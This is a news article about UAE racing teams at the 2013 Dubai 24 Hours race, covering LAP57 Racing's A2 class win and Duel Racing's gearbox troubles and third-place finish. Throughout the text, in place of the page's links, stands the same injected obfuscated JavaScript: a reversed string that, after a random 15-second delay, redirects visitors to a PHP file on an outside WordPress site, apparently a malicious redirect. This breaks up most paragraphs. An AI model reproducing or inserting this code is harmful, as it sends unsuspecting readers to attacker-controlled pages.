2013 Dubai 24hrs. UAE Teams. Battle On Home Turf

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Further up the field, the LAP57 Racing Team – a regular in $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/uae-touring-cars/” target=”_blank”>UAE Touring Cars – was keen to go one better than it had managed at the Dubai 24hrs the year before. $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/a-quick-chat-with-the-champs-dubai-uae/” target=”_blank”>Three-time Class 2 UAE Touring Car Champion Umair Khan once again led the charge alongside teammates Mohammed and Omran Al Owais, $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/oryx-racing-humaid-al-masaood-in-at-the-deep-end/” target=”_blank”>Saeed Al Mehairi, and current $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/uae-touring-cars/” target=”_blank”>UAE Touring Car runner Rupesh Channake, and a solid third fastest time in-class in qualifying threw down a serious gauntlet.

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Solid running meant the LAP57 Integra ($VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/dubai-24hr-the-chequered-flag/” target=”_blank”>the same car the team drove during last year’s event) was already up to second in-class and hassling the Besaplast Racing Team MINI Cooper S for the A2 class lead, but that would be as good as it got during the opening stages.

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Contact during Khan’s second stint (reduced visibility during the night stages claiming yet another victim) sending the Honda to pitroad for repairs and plummeting from second to seventh in-class as a result.

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By half distance, the local boys had reclaimed three places, but were still 14 laps behind the #102 Besaplast MINI. What a difference four hours can make though. As the clock struck 7am, LAP57 was closing in on new A2 leaders Gloyna –Motorsport, the Besaplast Team having fallen by the wayside during the night.

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Within an hour, the Intergra’s five-lap deficit wad down to one, and within another two, the LAP57 Racing Team was finally heading the A2 standings, the #105 Gloyna-Motorspot Renault Clio have fallen the same way as Besaplast. With most competitors nursing their tired stallions in the closing stages, there was little to stop LAP57 crossing the finish line three laps in the clear as A2 Class victors.

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Few could rival the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/ngk-racing-series-round-1-yas-marina-the-face-of-adversity/” target=”_blank”>Memac Ogilvy Duel Racing team though for problems. Electronics issues during testing on Wednesday left the Moutran brothers (and teammate James Kaye) fighting to complete race setup on-time, limited running during $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/2013-dubai-24hrs-postcard-from-the-frontline/” target=”_blank”>Thursday free practice another cause for concern.

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Still, having worked their way into first place by the seventh hour and with a seven lap cushion over the Racing Divas BMW 320D at one point, the Duel Racing boys could have been forgiven for thinking their bad luck was behind them. As it turns out, it hadn’t even started.

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Just after the ninth hour, the SEAT Leon coasted onto pitroad, its gearbox spent. With no quick fix available, the team had no option but to start a painstakingly lengthy gearbox change if they had any hope of making the finish. Sami, Nabil and Ramzi Moutran, and Kaye could do nothing to stop the #90 entry plummeting 74 laps off the A3T lead. But for cataclysmic mechanical problems for the leading Racing Divas, class victory was not going the UAE’s way today.

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Consistent running and a SEAT that was now running smoothly though meant that by dawn, Duel Racing was right on the heels of the #66 Motorsport Services Leon Supercopa for third in-class. Its demise all-but guaranteed the Moutrans a third place finish.

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Come the chequered flag, solid running (as well as spare parts from $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/uae-touring-cars/” target=”_blank”>Costas Papantonis’ Petrochem-run SEAT Leon)…

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…meant the #38 All-Inkl.com Munnich Motorsport SEAT Leon was just too far ahead for the local boys to make a legitimate strike for second place. But given the problems they’d undergone, to be closing in on reigning $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/galleries/album/01/gt1-world-championship-donington/” target=”_blank”>GT1 World Champions Marc Basseng and Markus Winkelhock at all was a huge feather in the Duel Racing cap.